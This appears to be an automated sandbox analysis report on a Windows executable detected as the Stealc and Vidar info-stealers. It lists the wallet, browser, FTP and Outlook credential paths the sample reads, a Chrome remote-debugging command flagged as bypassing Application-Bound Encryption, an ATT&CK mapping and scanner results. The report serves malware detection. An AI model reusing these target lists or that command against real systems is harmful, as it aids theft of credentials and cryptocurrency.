Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\info.seco
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2077275700.00000000004CE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2078554951.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonUy
Source: file.exe, 00000000.00000002.2077275700.00000000004CE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2077275700.00000000004CE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: file.exe, 00000000.00000002.2078554951.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.
Source: file.exe, 00000000.00000002.2077275700.0000000000346000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7512, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2077275700.0000000000261000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1672546233.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2078554951.0000000000E4E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7512, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7512, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710C40 sqlite3_bind_zeroblob,	0_2_6C710C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710D60 sqlite3_bind_parameter_name,	0_2_6C710D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638EA0 sqlite3_clear_bindings,	0_2_6C638EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C710B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C710B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636410 bind,WSAGetLastError,	0_2_6C636410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636070 PR_Listen,	0_2_6C636070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C63C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C030 sqlite3_bind_parameter_count,	0_2_6C63C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6360B0 listen,WSAGetLastError,	0_2_6C6360B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C22D0 sqlite3_bind_blob,	0_2_6C5C22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6363C0 PR_Bind,	0_2_6C6363C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	12 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	236 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
plus.l.google.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
